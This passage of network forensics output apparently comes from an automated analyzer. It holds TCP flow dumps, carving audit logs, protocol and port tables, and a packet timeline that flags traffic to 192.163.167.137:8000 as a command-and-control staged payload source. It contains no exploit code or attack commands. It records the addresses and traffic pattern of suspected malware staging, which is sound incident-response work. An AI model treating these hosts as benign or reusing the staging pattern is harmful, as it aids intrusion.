10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1230\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1232\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1234\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1236\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1238\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1240\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1242\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1244\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1246\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1248\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1250\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1252\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [AP] #1254\n............x........\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1256\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1258\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1260\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1262\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1264\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1266\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1268\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1270\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1272\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1274\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1276\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1278\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1280\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1282\n.\n#########\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [AP] #1291\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q..Gb(5.._..)\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1293\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1295\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1297\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1299\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1301\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1303\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1305\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1307\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1309\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1311\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1313\n.\n##\nT 10.152.152.11:64118 -> 192.163.167.137:8000 [A] #1315\n.\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp5r2h1ccq/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmp5r2h1ccq/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-03T13:28:14.228978,Tool:tmp5r2h1ccq/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp5r2h1ccq/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-03T13:28:14.232409,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp5r2h1ccq/carved/scalpel/audit.txt,1178,15deba012574a009568efec4bd979740,5d11e0ea43815b95eb11375d968a87e31b4794dc07bcde54b147683a652a3581,4.65,\"Scalpel version 1.60 audit file, Started at Fri Jul  3 13:28:14 2026, Command line:, scalpel -c /tmp/tmp5r2h1ccq/carved/scalpel.conf /tmp/filtered_i81b32pl.pcap -o /tmp/tmp5r2h1ccq/carved/scalpel , Output directory: /tmp/tmp5r2h1ccq/carved/scalpel, Configuration file: /tmp/tmp5r2h1ccq/carved/scalpel.conf, Opening target , /tmp/filtered_i81b32pl.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000009.gif       101543, YES               0, filtered_i81b32pl.pcap, 00000008.gif        88323, YES               0, filtered_i81b32pl.pcap, 00000007.gif        45731, YES               0, filtered_i81b32pl.pcap, 00000006.gif        38443, YES               0, filtered_i81b32pl.pcap, 00000005.gif        19479, YES               0, filtered_i81b32pl.pcap, 00000004.gif       101543, YES               0, filtered_i81b32pl.pcap, 00000003.gif        88323, YES               0, filtered_i81b32pl.pcap, 00000002.gif        45731, YES               0, filtered_i81b32pl.pcap, 00000001.gif        38443, YES               0, filtered_i81b32pl.pcap, 00000000.gif        19479, YES               0, filtered_i81b32pl.pcap, Completed at Fri Jul  3 13:28:14 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 39 2e 67 69 66 20 20 20 20 20 20 20 31 30 31 35 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 38 2e 67 69 66 20 20 20 20 20 20 20 20 38 38 33 32 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 37 2e 67 69 66 20 20 20 20 20 20 20 20 34 35 37 33 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 36 2e 67 69 66 20 20 20 20 20 20 20 20 33 38 34 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 35 2e 67 69 66 20 20 20 20 20 20 20 20 31 39 34 37 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 34 2e 67 69 66 20 20 20 20 20 20 20 31 30 31 35 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 33 2e 67 69 66 20 20 20 20 20 20 20 20 38 38 33 32 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 32 2e 67 69 66 20 20 20 20 20 20 20 20 34 35 37 33 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 31 2e 67 69 66 20 20 20 20 20 20 20 20 33 38 34 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 67 69 66 20 20 20 20 20 20 20 20 31 39 34 37 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a\n2026-07-03T13:28:14.227068,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp5r2h1ccq/carved/foremost/audit.txt,702,030c733635314ef72fc0b517dcfa9970,68e0fa01c8b50a0452a3025efc84dbe1ac05ba0e9ec8e86a1d2c44e264980baa,4.86,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Fri Jul  3 13:28:14 2026, Invocation: foremost -t all -i /tmp/filtered_i81b32pl.pcap -o /tmp/tmp5r2h1ccq/carved/foremost , Output directory: /tmp/tmp5r2h1ccq/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_i81b32pl.pcap, Start: Fri Jul  3 13:28:14 2026, Length: 127 KB (130360 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Fri Jul  3 13:28:14 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Fri Jul  3 13:28:14 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 35 72 32 68 31 63 63 71 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 69 38 31 62 33 32 70 6c 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 31 32 37 20 4b 42 20 28 31 33 30 33 36 30 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 46 72 69 20 4a 75 6c 20 20 33 20 31 33 3a 32 38 3a 31 34 20 32 30 32 36 0a\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-3-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-3-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-3-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000009.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-4-0/00000009.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000007.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-4-0/00000007.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000008.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-4-0/00000008.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000006.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-4-0/00000006.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-07-03T13:28:14.232409,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmp5r2h1ccq/carved/scalpel/gif-4-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,1316,86106,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,1,10.152.152.11,194.36.32.207,GET,194.36.32.207,http://194.36.32.207,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n8000,1303,80558,49.51%,46.78%\n64032,131,8145,4.98%,4.73%\n64073,127,7834,4.83%,4.55%\n64078,127,7834,4.83%,4.55%\n64084,127,7834,4.83%,4.55%\n64089,127,7834,4.83%,4.55%\n64095,127,7834,4.83%,4.55%\n64101,127,7834,4.83%,4.55%\n64106,127,7834,4.83%,4.55%\n64111,127,7834,4.83%,4.55%\n64117,127,7834,4.83%,4.55%\n64118,29,1907,1.10%,1.11%\n64035,13,5548,0.49%,3.22%\n80,13,5548,0.49%,3.22%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-01 09:05:02.354994,1,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1411682505 Ack=0,bc24112907bbbc2411360d0c080045000034af9740008006405c0a98980bc0a3a789fa201f40542490c9000000008002faf06b000000020405b40103030801010402,\".$.)...$.6\n...E..4..@...@\\\n........ .@T$..........k...............\",[C2] Staged Payload Source (Stages: 43); [TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 44951, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16476, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682505, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 27392, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:05:02.355020,2,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3104847479 Ack=1411682506,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa20b9103677542490ca8012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@. ..6wT$......\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847479, \"\"ack\"\": 1411682506, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:05:02.355305,3,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1411682506 Ack=3104847480,bc24112907bbbc2411360d0c080045000028af984000800640670a98980bc0a3a789fa201f40542490cab91036785010201497170000,\".$.)...$.6\n...E..(..@...@g\n........ .@T$....6xP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44952, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, 